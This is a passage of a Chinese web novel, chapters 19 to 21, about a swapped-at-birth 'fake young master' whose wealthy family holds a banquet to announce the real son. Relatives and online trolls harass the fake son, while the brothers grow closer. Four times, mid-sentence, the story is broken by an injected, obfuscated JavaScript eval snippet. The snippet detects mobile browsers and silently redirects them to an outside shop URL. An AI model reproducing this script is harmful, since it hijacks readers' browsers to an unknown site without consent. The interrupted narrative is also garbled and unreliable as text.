“……”夏以德在三双眼睛的注视下抬起了手……然后划了屏幕换下一条视频。 夏知鱼有点想笑,无奈道:“妈妈,您有什么话直说就好,没关系的。” 唐浸月眼眶“唰”一下就红了,说话有些哽咽:“对不起,小鱼,妈妈……” “等等,小鱼,我们有点事要和小年商量一下,你先回房间去吧。”夏以德打断唐浸月的话。 夏知鱼闻言一怔,这样排外的语气让他有点不适应,就好像他是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320549|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外人,不能参与亲子间的互动一般,几息之间,夏知鱼舔了舔唇,点了头:“好的。” 他转身的一瞬间,听见唐浸月不满的抱怨:“这是做什么啊,你让小鱼回去做什么?” “那件事不得问过小年的意思吗?”夏以德压低声音:“况且我是让他先回房间去,又不是剥夺他的知情权!” 房门关上的那一刻,夏知鱼垂下眼眸,说不清在想什么。 约莫两分钟以后,外面的争吵停止,夏以德说:“那就这样说定了,你在这和小年商量,我进去和小鱼商量,互不干涉也不打扰,都能听见两个孩子最真实的想法。” 夏以德敲开了夏知鱼的房门,探头探脑走进来:“小鱼啊,爸爸有一件事要告诉你。” 夏知鱼把椅子推给夏以德:“爸爸您说。” “那个、小年已经认回来有一段时间了,总是耽搁着不向外宣布对你,对他都不好,所以我和你妈妈就商量,找个时间举办个家庭晚宴,到时候请些媒体到场。”夏以德尽量让自己的语气听起来不是那么生硬:“就宣布他是咱们夏家的第三个孩子。” “您和妈妈商量就好,我都可以。”夏知鱼想,反正自己不管是同意还是反对,最后的结局都是一样的,还是装的乖一点吧。 “抱歉小鱼,没来得及提前和你商量,爸爸知道这件事对你来说很难接受……” “不,爸爸,夏语年人其实挺不错的,虽然看起来傻傻的,但是意外的天真,善良,他小时候在孤儿院吃了很多苦,现在苦尽甘来,我很为他高兴。” “你能这样想就好了……对了,爸爸还想跟你说一下你户口的事,户口已经迁完了,过段时间爸爸给你一个分公司,你先和你哥学着经营,总要有点自己的成绩才不会有流言蜚语,你放心,你永远是爸爸妈妈疼爱的好孩子。” “好,谢谢爸爸。” 父子俩的谈话没超过五分钟就结束了,客厅里唐浸月和夏语年的交谈还在继续,夏以德离开夏知鱼房间时正好看见唐浸月一脸严肃坐在沙发正中间,夏语年像个犯错的小孩一样站在她面前。 “小年,你跟妈妈说,你到底喜欢男生还是女生?” 夏以德一脸懵,不是该说家庭晚宴的事吗? “当然喜欢女生啊。”夏语年:小问号,你是否有许多朋友。 唐浸月呼出一口气,摸摸脸:“妈妈就是随口问问,你别在意。” 中午的时候夏云祈给唐浸月发了信息,简单明了的出了个柜,十分草率,而据他们所知,前段时间夏知鱼也在网络上出柜了,也就是说,她三个儿子,两个喜欢男人。 唐浸月欲哭无泪,她实在不能接受他的小宝贝二儿子被一个陌生男人搂在怀里,或者精明能干的大儿子搂着一个陌生男子的画面。 正好看到夏以德出来,唐浸月适时转移话题,严肃的坐直身体,坚定说:“去吧小年,让小鱼看到你的诚意,爸爸妈妈永远是你坚实的后盾!” 夏语年也走出了视死如归的感觉:“孩儿去也!” 房间里,夏知鱼一手肥宅快乐水,一手快乐小零食,面前是正在放着番的平板,旁边是手机群聊信息,他正在和余袖一还有乔晚拉的三人小群“当0当1不当(3)”里快乐聊天,手指在键盘上还没敲下一个字母,就被气势汹汹破门而入的夏语年打断。 19. 辞职(捉虫) 夏语年踹开门之前想着父母故意把自己和夏知鱼分开谈话,一定是觉得夏知鱼知道会伤心,现在爸爸和夏知鱼谈话之后里面一点声音都没有。 ——不是是在哭吧? 正常人确实是该哭一下的。 以夏知鱼以往的行径来看,他会不会为了重新夺回家人、金钱、权利什么的做一些伤天害理,不可挽回的事呢? 如果在他刚刚萌生这个念头的时候有人能安慰他一下,是不是就不会悲剧了。 夏语年越想越觉得有道理,他仿佛已经看见夏知鱼在房间里关着灯,裹着被子痛哭流涕,嘴里还给自己伴奏:“冷冷的冰雨在脸上胡乱的拍~” 实在可怜! 他应该立刻冲进夏知鱼房间去,给对方来一个爱的抱抱,抚摸他的头,轻拍他的背,任他鼻涕眼泪蹭到自己衣服上,然后自己轻声开口,安慰他说没事,他们永远都是一家人。 然后再语气温柔的邀请他一起去参加家庭晚宴,让他叫自己哥哥。 越想越激动,夏语年没注意力度夺门而入,和懵逼的夏知鱼大眼瞪小眼。 “……”夏知鱼。 “……”夏语年。 “???”夏知鱼。 “。。。”夏语年。 “你……有什么事吗?”夏知鱼问。 夏语年惊讶:“夏知鱼,你怎么没哭?” 夏知鱼满脸嫌弃:“什么癖好?很想看我哭?” “呸!乱说什么,我看你哭做什么!”夏语年狠狠翻了个白眼,走进房间关好门,打开房间的小灯后抽出书桌旁边的椅子倒坐上去:“我有点事情要问你,你正经一点。” 夏知鱼看看自己手里的可乐,又看看满脸正经的夏语年,心中暗暗做了一个决定:“你等我五秒。” 说完坐起身,拔出可乐的吸管一仰脖子,半罐可乐被他咕咚咕咚喝进肚子里:“好了,你说吧。” 时间不多不少,刚好五秒,看得夏语年瞠目结舌。 可乐甜腻腻的香味散在空气中,混合着夏知鱼房间里熏香的味道,床头被打开的小灯亮着暗黄色的光晕,给整间漆黑的房间染上一点色彩。 夏语年深深呼吸了几下,决定采用迂回战术,他问:“你看起来一点都不伤心……你应该很早就听见家庭晚宴的风声了吧?不怕夏家宣布了我的存在,取代了你的位置吗?” 说完,夏语年咬了一下舌头,尽管他已经在心里组织好了语言,可是说出来之后不知道为什么,还是如此直白,伤人。 夏知鱼沉吟一声,反问:“我为什么要伤心?因为刚才在床上打滚时掉下的两根头发?” “你到底知不知道事情的严重性?夏家请媒体向社会上的人们宣布我才是他们的亲儿子,而你,夏知鱼,你是很多年前抱错的,鸠占鹊巢的假少爷,你知道这件事向所有人宣布之后你会面临什么?”夏语年有点不能理解,明明夏知鱼才是晚宴上最大的受害人,怎么他一点都不着急? 还是说,他已经规划好了什么,要在晚宴上动动手脚? 夏语年心直口快,但是没什么坏心眼,夏知鱼深知这一点,别人说这些话可能是嘲讽,耀武扬威,宣誓主权,夏语年这人说出来,只是单纯的关心他的处境。 夏知鱼点点头:“你说得对……” 他一边说,一边坐在床边把自己缩成一个团紧紧抱住自己,双手掩面抽动着肩膀,从指缝中漏出两声呜咽。 “喂,你怎么哭了!?”夏语年哪里想过自己三言两语竟然把人说哭了,想按照自己进门前的设想抱住夏知鱼安慰两声,手刚抬起来就听见夏知鱼欢快的声音响起来。 “我刚刚表演的怎么样?像不像难过?你觉得我这个水平以后脱离了夏家进击娱乐圈能不能火?”夏知鱼轻轻搓着指尖。 夏语年怒了:“你踏马的!” “嘘,小点声,小心被爸爸妈妈听见。”夏知鱼说:“对外宣布你的身份是必然的,这样对你才公平,而且既然爸爸妈妈都已经决定好了,就一定考虑过你说的那些,我没有必要操心。” “哼,你自己都不上心,我还管什么管,亏我刚才还担心你自己在房间里哭。”夏语年咬牙切齿,气得够呛。 “哦?”夏知鱼挑起眉,忽然想逗逗他:“所以你破门而入,就是为了来安慰我?看来你心里还是有我的嘛,气氛都烘托到这了,要不你跟我表个白!” “!你在胡说什么!”夏语年吓掉一根睫毛,表面上看起来很震惊,其实已经在发疯了。 他忽然觉得夏知鱼的朋友真的很伟大,居然能忍着打死他的冲动和他交谈那么久。 话不投机半句多,夏语年站起身,把椅子推回书桌下:“算了,我不管你了,你就给我个准话,那天的家庭晚宴,你到底去不去?” “去,当然要去啊。” 夏语年心中警铃大作,难道真跟自己猜测的差不多,夏知鱼因爱生恨,联合对家公司对付夏家? 还是要在媒体前抹黑夏家,大闹晚宴,导致夏氏公司股票大跌…… “我在你眼中看到了精彩的阴谋论……”夏知鱼幽幽说道。 “……没有。”夏语年又觉得自己思想太过极端,夏知鱼已经变了很多,也许不会那么做了,于是他问:“那是家宴,你去做什么?等着被笑话?” “吃白饭。”夏知鱼眨巴着眼睛回答:“我要去蹭吃蹭喝。” “……随便你。”夏语年气得摔门而去。 “怎么走了也不知道帮我关个灯……”留下夏知鱼一条咸鱼坐在床上嘀嘀咕咕。 …… 晚上九点,夏知鱼风雨无阻带上装备去乔晚的酒吧工作。 趁着舞者在台上跳舞热场子的间隙,夏知鱼轻车熟路上了二楼换衣服,等舞者下台休息,夏知鱼自觉站在幕后等在主持人报幕,在灯光闪烁下上了台。 他已经很久没唱原创歌曲了,一是乐队要排练他的曲谱,二是他还不想让自己原创的音乐这么快就面世,搞不好会在版权上出问题。 但是今天不同,他知道这次上台意味着什么,所以他举着话筒,和乐队简单沟通以后一连唱了三首原创。 带音乐结束后,夏知鱼头顶汇聚了灯光,所有人的目光都落在他身上,酒吧安静了不少。 “谢谢。”夏知鱼深深鞠了一躬。 话筒被他握得滚热,比台下的听众目光还要热,夏知鱼抿起唇,交叠的双手紧紧拿着话筒吸气,任各种酒香掺杂在一起,被他吸进鼻腔里。 换下一个歌手上台后,夏知鱼回楼上换好了衣服,他在手机上约乔晚谈一谈,地点就定在他们第一次遇见的后台角落里。 他今天穿了一身酒红色的大衣,搭配白色衬衫,解开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320550|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面两颗扣子露出若隐若现的锁骨,红色很适合夏知鱼,衬得他白皙的皮肤更加润了。 衬衫下摆绣着云纹,一针一线都透露着它的昂贵。 夏知鱼快步朝着后台的方向走,期间手机响过两声,看清楚联系人姓名后,夏知鱼选择眼不见为净,直接把手机调成了静音。 从二楼更衣室的楼梯到演出舞台的台后要经过一个小舞池,还要绕开两个桌子,夏知鱼夜视能力不好,为了不撞到客人只能慢慢的走,好在这条路已经走过很多次,只要小心一点就没有问题。 可惜天不遂人愿,夏知鱼越想安然无恙到达目的地,越要有人出面叫住他。 “夏二少!真的是你啊,我还以为看错人了。” 夏知鱼皱起眉:“夏二少是谁?我叫王小明,这位先生你认错人了。” 他转身想走,被那人拉住了胳膊,他吃痛的吸了口气:“松手!” “呦,不装了?”那人强硬的板正夏知鱼的身体,让他强行面向自己。 夏知鱼这才看清,原来是“西伯利亚大吗喽”,他不耐烦甩开田丹的手:“有事快说,我赶时间。” “可算逮到你了,听说夏家要办晚宴宣布夏语年的身份……你就快被扫地出门了还装什么装?还是说,你又傍上有钱人了?让我猜猜,是不是上次月上居的那个男人?” 一提起夏云祈,夏知鱼更恼火,憋了好几天的气正愁没处发,于是慢慢贴近田丹,在两人近到一拳之隔后,夏知鱼腿部发力,正中裆下,疼的田丹当即弯腰护住,生怕夏知鱼再来一下。 “你踏马!”田丹恶狠狠看着夏知鱼,却发现人家早就离开了…… 这种事经常发生,尤其是夏家晚宴的消息传开,几乎每天都会有人搭讪,他们都觉得,夏家认回了真少爷,一定会抛弃夏知鱼这个不学无术还惹是生非的麻烦。 他们有恃无恐。 见到乔晚,夏知鱼笑笑:“乔老板来得好快。” “啧,小鱼,你怎么看起来不太高兴?”乔晚轻启红唇,中气十足道:“有什么麻烦就跟姐说,姐半夜爬他家窗户吓死他!” “没没没,还是田丹那小子找麻烦,都已经解决了。”夏知鱼嬉笑着说:“乔姐,我跟你提辞职的事考虑的怎么样了?” 一提到这个,乔晚的笑容一下就消失了:“怎么干得好好的突然要辞职了?不会是夏家向你施压了吧?” “没有。”夏知鱼说:“其实我都知道,自从我来驻唱,酒吧来砸场子的人就多了不少,他们找不了我的麻烦就找酒吧的麻烦……而且我最近在直播,收入已经可以养活自己了,乔姐你别担心。” 乔晚语气前所未有的郑重,他说:“好,但是小鱼,如果有什么困难就和姐说,姐能帮忙的一定帮,别怕麻烦。” 夏知鱼点点头:“嗯嗯,乔姐,高兴点,我只是辞职又不是跟你绝交,说不定哪天闲下来,我还来帮你镇镇场子唱个三两首呢,免费的哦。” 乔晚这才笑了:“你啊,就会画饼哄人……行了,手机拿出来,我给你推个人,他也是你那平台直播的音乐博主,我叫他带带你。” “好嘞,谢谢姐。” 夏知鱼拿出手机打开锁屏,联系人显示“夏先生”的信息立刻发了过来,夏知鱼没有防备点了进去,就看着内容:以为躲着我就不用负责了?咱们晚宴见。 20. 晚宴 晚宴那天早上淅淅沥沥下起小雨,关的严严实实的玻璃在雨水的冲刷下焕然一新。 这样的天气就适合躺在被子里吃吃喝喝咸鱼躺平。 可惜夏知鱼早早就被唐浸月薅起来“梳妆打扮”,连带着夏语年都没放过。 细雨没有丝毫停歇,一口气下到晚上六点多,一直到夏家司机把车开到大门口才有了要停的迹象。 夏知鱼和夏语年在夏以德的催促下上了车,趁着在路上这段时间,夏语年拿出一面手掌大小的镜子照起来。 “你这镜子是在哪里拿出来的?”夏知鱼惊讶问:“你这浑身上下都凑不出来一个兜吧?” 夏语年故意夸张的大笑两声,眼神中满是不可忽略的得意:“哈,愚蠢的人类,看在你苦苦哀求的份上,我就告诉你吧,其实这镜子是在我另一个外套口袋里放着的,怎么样?有没有被我的智慧折服?” “……你为什么会有另外一个外套?”夏知鱼问。 “当然是因为降温之后只穿一件西服有点冷啊。”夏语年狐疑看过去:“你不会就只穿了这一件衣服吧?” 还真让夏语年说对了。 早上唐浸月给他搭配外套的时候他说不是很冷,于是就没要那件毛茸茸的外套,实际上一直到上车之前他都不是很冷。 “我跟你说啊,今晚不止有雨,还有雪嘞,你就穿这么一点去宴会,等回来的时候能冻得你哭天喊地。”夏语年顺便想象了一下夏知鱼“哭天喊地”让自己给他一件外套取暖的场景,忍不住笑出声,到时候他一定让夏知鱼多喊几声哥哥来听,然后再把外套脱给他。 “那还真是谢谢关心。”夏语年“切”了一声:“宴会在室内,回家的时候也是坐车,不会冷到我的。” …… 夏以德把宴会订在了私人的酒店里,采取了唐浸月的建议整体采用新中式风格,舒缓悠扬的音乐在宴会大厅响起,穿着深蓝色窄袖袍子的服务生托着酒杯穿梭在人群之中。 下了车,唐浸月整理好礼服,挎着夏以德的胳膊走上绵延至宴会大厅深处的地毯,夏知鱼和夏语年一左一右跟在身后。 夏知鱼用余光扫视整间大厅,暗暗感叹这就是有钱人的生活。 “大哥呢?今天不来吗?”夏语年问。 唐浸月:“来,不过会稍晚一点到。” 夏语年:“我还没见过大哥呢,等下见到他如果认不出来可怎么办。” 夏知鱼抢先一步回答:“没事,我也没见过。” “你也没见过?”夏语年惊讶的看向夏知鱼,连音量都忘记注意:“你不是在家里生活了二十多年吗?怎么会连大哥都没见过?” 也不怪夏语年惊讶,谁家兄弟二十多年不见面,听起来就很天方夜谭。 唐浸月拍了拍夏语年手背:“安静点,怎么咋咋呼呼的!其实小时候还时间过两三面的,后来小年作为继承人被送到国外本家那边培养,除了偶尔电话联系,没怎么回过国。” 一提起这件事他就伤心,那会她的小年才多大啊,刚刚和他大腿一边高就被本家那边来人接走了,以至于夏知鱼小时候总听说自己还有个哥哥,但是却一直没办法见到,还以为哥哥很小就死了。 有一年小夏云祈被允许回国见一见父母,和弟弟第一次见面就把人吓哭了…… 那时候的夏知鱼也小小软软的很听话,不过后来渐渐开始叛逆,再加上唐浸月和夏以德因为工作到处飞,就变得不务正业,游手好闲了。 说起来,现在的小鱼竟然和小时候重合在了一起,唐浸月抬眼看过去,又是一副乖宝宝样子。 “怎么了妈妈?”夏知鱼笑笑。 “突然有些感慨。”唐浸月安抚道:“小鱼,这次的宴会……可能会有些不好的声音,爸爸妈妈会尽量压下去,如果你听见……” “放心吧妈妈,我知道。” “抱歉小鱼。” “没关系的妈妈。” 这件事怎么也做不到两全其美,唐浸月满是亏欠的看着两个孩子,不禁红了眼。 “妈妈,宴会快开始了。” “好,走吧。” …… 不少唐浸月和夏以德的老熟人听说他们最近回国还要举办家庭晚宴,也纷纷送来了贺礼。 虽说是家宴,除却请来的媒体,还有旁支亲戚外,还有不少友人来一同道贺,唐浸月和夏以德被合作的朋友们拉走,只留下夏知鱼和夏语年两个人站在原地面面相觑。 毕竟是特意为夏语年举办的晚宴,唐浸月特意挑选一套深色定制西服,搭配墨绿色领带,乍一看还真有矜贵富少爷的样子了。 见夏知鱼盯着自己看,夏语年立刻臭屁起来:“怎么这样看我?是不是被哥的英俊潇洒迷了眼了?” “人模狗样。”夏知鱼只回给他四个字。 旁支族亲不少和夏以德同辈的人都带了孩子来,大多和夏知鱼夏语年年龄相仿,来之前父母都叮嘱过,这次的晚宴就是为了对外宣布夏语年的身份,看起来夏以德是要着重培养夏语年了。 既然如此,一定要好好趁这个机会讨好夏语年,到时候定然能捞到不少好处,至于夏知鱼那个纨绔子,就让他在旁边看着吧。 得到父母嘱咐的族亲孩子一见夏语年闲下来,就开始找机会靠近。 他们挤开夏知鱼,一路推搡着夏语年不知要去哪里。 夏知鱼乐得清闲,脱下外套搭在手臂上,找了个不算鲜艳的地方坐下,随意撑着半边脸,倚在前边的桌子上,瓷白的手指轻轻敲打着拍子,慵懒的听来往的客人交谈。 “那个土包子就是夏语年?听说他是孤儿院长大的,不会有什么坏习惯吧?” “谁知道呢,我爸爸还说让我多接近他,想想就烦。” “我爸爸也这样说了,不过我不想去。” “我也不想去,谁想和土包子做朋友啊,就我这一身,他应该连牌子都没听说过吧。” “还有那个夏知鱼呢?你刚才看没看见他,穿的像个人似的,都没有人搭理他,哈哈哈,大家都围着夏语年转呢。” “你说他们会不会打起来?我就喜欢看这个。” “嘻嘻嘻嘻,我也想看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320551|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个男男女女的小年轻凑在一起嬉笑,完全没在意把自己藏得严严实实的夏知鱼还在旁边,他们嘴上说着看不起夏语年,但迫于家里人的压力,还是得去笑着和人家搞好关系。 夏知鱼要了一杯红酒,眯着眼笑着看那几位少爷小姐是怎么走到夏语年身边搭话。 夏语年那边也不是很顺利。 他觉得自己已经是乐观开朗健谈的人了,但他今天居然遇见了比他还健谈的。 夏语年只不过是说的有些口渴了,叫了杯红酒来,那些人竟然就这哪里的红酒更好喝开始聊天,最后以法国一个小众贵族牌子的香水有多好而结束。 恕他不能理解。 一到这种时候,夏语年就十分的想念和夏知鱼话不投机半句多的时光,虽然气得半死,但也没这么想离开过。 话题渐渐转移到夏家,聊着聊着就变成了夏知鱼批斗大会。 “他一个抱错的假少爷,到底还有什么脸留在夏家蹭吃蹭喝啊。” “对啊,要是我,我都不好意思留下来了,他今天竟然还跟来家宴丢人现眼。” “要我说,假的怎么也真不了,就算在夏家养了这么多年又怎么样,骨子里的卑劣还是掩盖不住,以前我就看他不顺眼……” “语年,你来说说,自从你回到夏家,他没少针对你吧?” “对啊,你说,作为朋友,我们给你报仇!” 夏语年仔细回想了一下,从他回到夏家住的第一天开始,夏知鱼就没有任何动作,反倒是自己处处针对他,赶他在雨里学狗叫,不断质疑他处心积虑,甚至后来逼得人家去外面租了房子…… 夏知鱼唯一一件过火的事情就是勾结了对家公司,还没有实施计划。 “语年,你在想什么,怎么不说啊?” 他们还在催促,仿佛只要夏语年说出夏知鱼的一点不好,他们就能借此理由光明正大的去讨伐夏知鱼。 “说什么?”夏语年回过神,不动声色退后几步和其他人拉开一点距离,他发出质疑:“夏知鱼对我怎么样,跟你们有什么关系呢?” “我们、我们不是朋友吗?” “朋友?”夏语年嗤笑一声,反复咀嚼着这两个字:“朋友……我记得我和你们一共也就认识了不到十分钟吧?怎么就成了朋友了呢?” “在说,我可不记得有什么朋友是可以当着弟弟的面指责哥哥不对的。”夏语年瞥了一眼为在他身边的人,轻蔑地咧嘴一笑:“还是说你们想让我和你们同仇敌忾,一起去欺负他,好满足你们这些对夏家低声下气的人心中一点点的快感?也是,恶毒反派都是该这样做的。” “你在说什么呢!” 这群少爷小姐还是要面子的,即便被夏语年的眼神震慑住,也依旧下意识的反驳,更有脸皮薄的姑娘当场掉了眼泪,还扬言说要告诉她爸爸,让他等着瞧。 这姑娘的爸爸哪敢惹夏语年这个夏家真少爷,充其量就是找到假少爷夏知鱼,然后充当长辈“谈谈心”罢了。 于是半小时后,角落里的夏知鱼被几个人高马大的大叔团团围住。 21. 亲戚(捉虫) 夏知鱼只觉得有一团不算大的阴影精准将他笼罩,一抬头,三个穿着黑色西装,大腹便便的中年男人站作一排,将他围得严严实实。 头顶的小灯光线幽蓝,灯光照在三个中年男人的“地中海”上,显得他们更加不怀好意。 夏知鱼忽然回想起前几天熬夜追的番,那里面也有一个中年男人,神色猥琐,表情狰狞,和眼前这三个“炮灰反派”架势的男人如出一辙。 他在心中双手合十默念:“刻板印象要不得!” 然后表演一个川剧变脸,笑着问:“三位先生,有什么事吗?” 三人中看起来最年长的男人清了清噪,坐到夏知鱼身边,语气熟稔道:“哎,知鱼都长这么大了,你小时候我还抱过你呢!你可能不记得了,我是你表叔,旁边这两位是你的表舅。” 夏知鱼一听是远房亲戚,马上戒备。 这三个人不去讨好夏语年,来找自己做什么?一定没安好心! 他试探开口:“表叔,二位表舅,不知道您三位找我,是有什么事?” “那个,到也没什么要紧的事,就是表叔表舅一见到你就觉得亲切,来跟你说说话。”表舅一号最擅长打感情牌,通俗点说就是PUA的技术炉火纯青。 夏知鱼闻言,刻意挤出此他们还亲和的笑,说出的话却是夹枪带棒:“亲切吗?表叔表舅们怎么对我一个夏家抱错的孩子感到亲切?难道说,你们也不是夏家亲生的?” “你!”三人果然如夏知鱼所料,仅被这一句话激得失去了笑容。 “你这孩子怎么说话呢?”表舅二号绷着脸,和表舅一号一个红脸一个白脸:“你父母就是这么教你跟长辈说话的吗?” “好,既然您问了,那我就来说说,我大哥从小被送到国外去念书,是你们这些亲戚跟本家建议的吧?我父亲母亲生下我没多久就M国和我大哥那两头跑,也是拜你们这些长辈所赐吧?请问我的父母要怎么教我跟长辈说话呢?与其来找我美其名曰说说话,不如少作些事吧。”夏知鱼也没给这三个人留脸面,拿出手机找到晚宴直播的平台:“如果没什么要说的了,三位就自便吧。” “小鱼,你这是在怪我们吗?”表叔咬着后嘈牙,一副恨铁不成钢的语气:“我们这是为了谁?还不是为了夏家好?把你大哥送走才能学到真本事,要不是我们,你们能过上现在这样的好日子?你可倒好,还反过来指责我们了。” 表舅二号也附和:“就是!你说说,这夏家怎么就养了这么个白眼狼,不是亲生的就是养不熟哇。” 夏知鱼蹭了蹭手指,只觉得吵。 这三个人还真是没有一点攻击力,来来回回就这么几句话,说得都不如那天夜里自己在雨里骂自己骂的狠呢。 三个人说得上头,可惜夏知鱼左耳右耳出,压根就没听清他们后来都叭叭的说了些什么。 宴会开始的很精彩,网上直播间那几十万人的评论也很精彩。 本来大家以为什么真假少爷的狗血剧情是什么捕风捉影的事可真见到夏家都开了直播找了媒体又纷纷猜测,大部份都是吃瓜凑热闹觉得唏嘘,还有一小部份黑子不分青红帛白,闭着眼睛就开始喷.管他真假,反正大家都这样说。 对于黑子的攻击力,夏知鱼还是认可的,对于黑子编故事的能力,夏知鱼也无法挑剔,只想递笔。 就这么短短一个小时不到,他在黑子们的口中已经是从小招猫斗狗,进过无数次局子的不良少年了,成年后更是无恶不做,凡是法典上写的法律后面都要带上他夏知鱼的名字。 他们甚至已经按照自然规律的发展推算出夏知鱼老无所依的孤寡生活。 黑子们匿名发言: 【黑鱼小分队队长:看了这么久还没见到夏知鱼,该不会早就被赶走了吧?】 【只有我:拜托黑的时候看一看来龙去脉好不好?夏以德和他太太手挽手进场的时候后面跟着的是你爹吗?】 【黑鱼小分队副队长:又是夏知鱼的脑残粉哈,等他被赶出夏家就靠你们养着了。】 【额么么:纯路人,你们为什么那么笃定夏知鱼会被赶出去啊?】 【黑鱼小队副队长:用脚趾头也该想得出来吧?一个不惹事的亲儿子和惹事的假儿子,你要是夏夫人你选谁?】 【白发:可是到底人家也没说要把夏知鱼赶走啊,毕竟养了二十多年,总该有些感情吧。】 【拜拜肉拜拜溜:楼上又是夏知鱼的脑残迷妹吧?作业写完了吗?】 【………………】 几十万人,弹幕刷的很快,一眨眼能飞过去几百条,黑子和粉丝的争吵无人在意,路人吃瓜看戏津津有味。 夏知鱼换了个姿势抵住下巴,用抓的蓬松的粉色后脑勺对着三位喋喋不休的长辈。 “夏知鱼你到底有没有在听啊?”表舅二号说的口干舌燥,夏知鱼竟然在玩手机?他更加气愤,伸出手指指着夏知鱼的头发:“你看看这头发被你祸害的!成什么样子了?他们说的真是一点都没错,你这孩子算是养废了。” “什么?”夏知鱼是不想理的,但架不住这人快把手指头戳在自己后脑勺上了:“谁废了?” “你啊。”表叔说:“知鱼,你看看你把你表舅气的,快给他道个歉,这件事就算是过去了,我们也不跟小孩子计较,你虽然现在叛逆不懂事,但及时板正也还有得救。” “……”夏知鱼无语至极,硬生生从喉咙里挤出一句话:“你还没睡醒?” “我算是知道小倩为什么那么生气了,烂泥扶不上墙。”表舅一号也撕下伪装的嘴脸,耷拉着嘴角语气不善:“夏知鱼在夏家养了这么长时间都这个样子,夏语年在孤儿院长大得学上一身的坏毛病!夏家完了啊!” 小倩就是刚才嘴上说着不想接近夏语年,但还是贴上去找存在感的,是表舅一号的孩子。 夏知鱼听着三个老东西尖锐的口吻,终于明白过来,合着自己孩子在夏语年那边没讨到好,又不能去找夏语年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320552|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒火,所以找上了自己,看起来被冷落的假少爷。 他没想到,自己只不过是想躲个懒找角落把自己埋起来,反倒是给了其他人自己在家里没有地位的错觉了。 夏知鱼恶作剧似的嫣然一笑,重新打开手机在家里的小群里发了一条语音过去:“爸爸妈妈,我被欺负了呜呜呜~” 说完挑衅的看向其他人。 不出一分钟,夏语年先风风火火抱着西服外套冲他跑过来,一见到人就问:“夏知鱼,你怎么样?他们动手了?” “没有没有,你先别急啊。”夏知鱼秀眉轻皱,伸手接过他手中的外套和自己的搭在一起:“你是今天的主角,大家都盯着你的一举一动呢,沉稳点。” “哦。”夏语年快速将三个“长辈”逐个打量一边,见他们面上带着的神色十分眼熟:“呃,夏知鱼,你动手了?” “我可没有,别乱说啊。”夏知鱼否认:“就是随便和他们谈谈心而已啦。” 夏语年了然,这才想起来,这三位亲戚的表情不就是自己每次和夏知鱼拌完嘴后的样子? 看来夏知鱼确实没吃亏。 “语年啊,我是你表叔,这两位是你表舅。”表叔再次换上笑容,试图像刚才那样介绍一下他们的身份,混个脸熟:“你刚被接回来,还不知道,我们……” “什么远房亲戚?”夏语年漫不经心,扯着领口的扣子挤到夏知鱼身边的缝隙里坐,一双长腿交叠,脚尖晃晃悠悠,显然没把这半路杀出来的三人放在眼里。 表舅深吸一口气,狠狠搓了搓自己的脸:“那个 ,我们是……” “夏语年,这里那么大地方,你非得往我身边凑?去旁边坐着!”夏知鱼也不顾表舅的话,嫌弃的看着和夏语年贴在一起的大腿。 “我可是来关心你的,你别不知好歹!”夏语年呲牙。 “谁不知好……” “你们太不尊重人了吧?”表舅二号忍无可忍:“长辈还在说话呢,你们就这样嘻嘻大闹?” “长辈?”夏知鱼和夏语年难得同频,异口同声问:“谁是长辈?” 表亲三人组:“……” 大概是装长辈太上瘾,连自己都要骗过去了,表叔终于站起身直白的表达了来时的目的:“我就直说了吧,你们一个是顽劣不堪的养子,一个是满身坏毛病刚认回来的少爷,在自己人面前闹一闹就算了,在外人面前这个样子是要被笑话的,别人会以为我们夏家没有家教。” “作为你们的表叔,我也不想为难你们,刚才你们惹小倩在其他人面前丢了脸,影响了夏家的颜面,最好还是当着其他人的面道个歉吧。”表叔说的忘我,全然没有发现夏以德和唐浸月阴森森站在他身后,他大手一挥尽显自己的大度:“一是让外人看了也能说你们还算有些教养,而是夏家面子上也好看,你们说怎么样?” “我们看不怎么样。”唐浸月凉飕飕回怼说:“胆子大了啊,敢在夏家的晚宴上欺负我们夏家的孩子了?” 22. 带走(捉虫) 